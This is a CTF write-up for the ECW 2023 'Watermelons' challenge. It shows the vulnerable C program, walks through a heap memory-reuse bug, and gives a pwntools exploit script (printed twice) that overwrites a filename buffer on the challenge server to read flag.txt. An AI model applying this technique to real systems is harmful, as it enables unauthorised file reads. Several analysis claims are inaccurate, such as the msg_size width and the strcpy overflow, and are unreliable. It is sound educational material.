[ECW] - Watermelons
Table of Contents
ECW 2023 - This article is part of a series.
Statement #
Usage #
When we use the program, we access a menu that offers to buy a watermelon (choice 1
) or display the last watermelon (choice 2
).
If we choose to buy a watermelon, we can then choose its variety, the number of watermelons we are going to buy, and finally if we want to gift them to someone.
If we decide to gift them to someone, we can then choose from 3 envelopes to contain our personalized message:
- Small envelope = 16 bytes
- Medium envelope = 32 bytes
- Large envelope = 64 bytes
Source Code #
In this challenge, we are also given the source code of the application:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char watermelon[32];
char recipient[16];
unsigned int msg_size;
char* msg;
} Gift;
char* watermelons[] = {
"Classic Watermelon",
"Seedless Watermelon",
"Yellow Watermelon",
"Sugar Baby Watermelon",
"Mini Watermelon"
};
const char n_watermelons = 5;
char *watermelon_file = NULL;
void gift_watermelon(char *watermelon_name) {
int choice;
unsigned int msg_size;
Gift* gift = (Gift *)malloc(sizeof(Gift));
memset(gift, 0, sizeof(Gift));
strncpy(gift->watermelon, watermelon_name, strlen(watermelon_name));
printf("\nWe have three different sizes of envelopes for a custom message:\n");
printf("1. Small (16 bytes)\n");
printf("2. Medium (32 bytes)\n");
printf("3. Large (64 bytes)\n\n");
printf("Which one would you like? ");
scanf("%d", &choice);
getchar();
if (choice < 1 || choice > 3) {
printf("Invalid envelope choice!");
free(gift);
return;
}
msg_size = 16 * (1 << (choice - 1));
gift->msg_size = msg_size;
printf("Who's the lucky recipient of this watermelon? ");
scanf("%16s", gift->recipient);
getchar();
gift->msg = (char *)malloc(gift->msg_size);
memset(gift->msg, 0, gift->msg_size);
printf("Enter your message: ");
fread(gift->msg, 1, msg_size, stdin);
printf("Thank you for your purchase. We will carefully transport your gift to %s!\n", gift->recipient);
printf("Message: %.*s\n\n", gift->msg_size, gift->msg);
free(gift->msg);
free(gift);
}
void buy_watermelon() {
int choice;
printf("\nA wide variety of watermelons awaits you:\n");
for (int i = 0; i < n_watermelons; i++) {
printf("%d. %s\n", i + 1, watermelons[i]);
}
printf("\nEnter the number of the watermelon you want to buy: ");
scanf("%d", &choice);
getchar();
if (choice < 1 || choice > n_watermelons) {
printf("Invalid watermelon choice!\n");
return;
}
printf("Would you like to make this a gift for someone? (y/n) ");
int is_gift = getchar();
getchar();
if ((char)is_gift == 'y') {
gift_watermelon(watermelons[choice - 1]);
} else {
printf("Thank you for purchasing a %s!\n\n", watermelons[choice - 1]);
}
}
void show_watermelon() {
FILE *fptr;
int c;
if (watermelon_file == NULL) {
watermelon_file = (char *)malloc(32);
strcpy(watermelon_file, "watermelon.txt");
}
fptr = fopen(watermelon_file, "r");
if (!fptr) {
printf("Problem opening watermelon file (%s)\n", watermelon_file);
return;
}
while ((c = fgetc(fptr)) != EOF) {
printf("%c", c);
};
fclose(fptr);
}
void exit_shop() {
printf("Goodbye!\n");
exit(0);
}
int main() {
int choice;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("========== Romy's Watermelons ==========\n");
printf(">>>> Welcome, traveler, to my shop! <<<<\n");
printf("1. Buy a watermelon\n");
printf("2. Show the latest watermelon\n");
printf("3. Exit\n");
printf("========================================\n");
printf("Enter your choice: ");
scanf("%d", &choice);
getchar();
switch (choice) {
case 1:
buy_watermelon();
break;
case 2:
show_watermelon();
break;
case 3:
exit_shop();
default:
printf("Invalid choice!\n");
}
}
return 0;
}
Source Code Analysis #
Here’s what the program does:
- Gift Structure:
- Definition of a
Gift
structure representing a gift with the following properties:watermelon
: the watermelon name (32 bytes)recipient
: the recipient’s name (16 bytes)msg_size
: the size of the personalized message (2 or 4 bytes)msg
: the personalized message (between 16 and 64 bytes)
- Definition of a
- Watermelon List:
- A predefined list of five watermelon types
gift_watermelon
Function:- Asks the user to choose a watermelon from the list
- Allows the user to choose the size of the personalized message (between 16 and 64 bytes)
- Asks for the recipient’s name and reads a personalized message
- Uses dynamic allocations to store gift information
buy_watermelon
Function:- Displays the available watermelon list
- Asks the user to choose a watermelon to buy
- Proposes the user to make the purchase a surprise (gift) by calling
gift_watermelon
show_watermelon
Function:- Reads the content of a text file (assumed to contain information about the watermelon) and displays it
- The filename is stored in
watermelon_file
, initialized to “watermelon.txt”
exit_shop
Function:- Displays a departure message and exits the program
main
Function:- Main program loop
- Displays a menu with three options: buy a watermelon, show the latest watermelon, and exit
- Asks the user to choose an option and executes the appropriate function based on the user’s choice
Three important observations:
- When entering the recipient’s name in
scanf("%16s", gift->recipient);
, there is no control over the length of the input. If the user enters more than 16 characters, it will cause a buffer overflow ingift->recipient
. - When a gift is created, memory is properly freed for the structure in
free(gift)
, but the pointers are not set toNULL
. This means that a user who creates multiple gifts will overwrite the first one. - Memory allocation for
watermelon_file
is not secure. The allocated size is 32 bytes, but thestrcpy
function is used to copy “watermelon.txt,” which has a length of 13 characters. This could lead to a buffer overflow if the length of the filename changes in the future.
Exploiting the Vulnerability #
We will start by creating a gift and allocating a 16-byte envelope where we can write whatever we want. In memory, we get the following:
Then we will display the watermelon, and the program will add 32 bytes to read the content of the “watermelon.txt” file. In memory, we have:
Now, if we create a second gift and give it a 64-byte envelope, these 64 bytes will overflow into the buffer of the old message msg
(which was 16 bytes), the watermelon_file
buffer (containing the name of the “watermelon.txt” file), and into another part of memory. So, we have:
From the recipient
buffer, we can write to the msg
buffer, the watermelon_file
buffer, and another part of memory.
A user could change the filename in the watermelon_file
buffer and display any file present on the machine (e.g., flag.txt
😉).
Flag #
Here’s what we’re going to do by writing a program:
- Create a gift with a 16-byte envelope → in memory, a
Gift
structure is created. - Display the watermelon → in memory, it adds 32 bytes for the
watermelon_file
buffer. - Create a gift with a 64-byte envelope.
- Write to the
msg
andwatermelon_file
buffers to replace the filename to display.
from pwn import *
def main():
r = remote("instances.challenge-ecw.fr", 42618)
# Buy a watermelon
r.sendline(b"1")
# Select a variety (doesn't matter at all)
r.sendline(b"1")
# Yes, make a gift
r.sendline(b"y")
# Select an envelope size of 16 bytes
r.sendline(b"1")
# Recipient name (doesn't matter here)
r.sendline(b"ecw2023")
# Message (doesn't matter here either)
r.sendline(b"A"*15)
# Show watermelon
r.sendline(b"2")
# Buy a watermelon again
r.sendline(b"1")
# Select a variety (doesn't matter at all)
r.sendline(b"1")
# Yes, make a gift
r.sendline(b"y")
# Select an envelope size of 64 bytes
r.sendline(b"3")
# Here we fulfill the recipient buffer
r.sendline(b"A"*16)
# Here we are writing 64 bytes in a 16 bytes buffer on the heap
r.send(b"A"*32) # The first 32 bytes don't matter until we reach the filename buffer
r.send(b"flag.txt") # We inject "flag.txt" in the filename buffer
r.send(b"\x00") # It's important to add a null byte so the program won't read anything else than "flag.txt"
r.sendline(b"A"*23) # Filling the last bytes to read the whole 64 bytes
# Print the flag (because now the program will print "flag.txt")
r.sendline(b"2")
# Exit
r.sendline(b"3")
r.interactive()
if __name__ == "__main__":
main()
```python
from pwn import *
def main():
r = remote("instances.challenge-ecw.fr", 42618)
# Buy a watermelon
r.sendline(b"1")
# Select a variety (doesn't matter at all)
r.sendline(b"1")
# Yes make a gift
r.sendline(b"y")
# Select an enveloppe size of 16 bytes
r.sendline(b"1")
# Recipient name (doesn't matter here)
r.sendline(b"ecw2023")
# Message (doesn't matter here either)
r.sendline(b"A"*15)
# Show watermelon
r.sendline(b"2")
# Buy a watermelon again
r.sendline(b"1")
# Select a variety (doesn't matter at all)
r.sendline(b"1")
# Yes make a gift
r.sendline(b"y")
# Select an enveloppe size of 64 bytes
r.sendline(b"3")
# Here we fullfill the recipient buffer
r.sendline(b"A"*16)
# Here we are writing 64 bytes in a 16 bytes buffer on the heap
r.send(b"A"*32) # The first 32 bytes doesn't matter until we reach the filename buffer
r.send(b"flag.txt") # We inject "flag.txt" in the filename buffer
r.send(b"\x00") # It's important to add a null byte so the program won't read anything else than "flag.txt"
r.sendline(b"A"*23) # Filling the last bytes to read the whole 64 bytes
# Print the flag (cause now the program will print "flag.txt")
r.sendline(b"2")
# Exit
r.sendline(b"3")
r.interactive()
if __name__ == "__main__":
main()
Here is a the live demo of the exploit :
🚩 Flag : ECW{r0mys_w4t3rm3l0ns_d353rv3_a_5-st4r_r3v13w}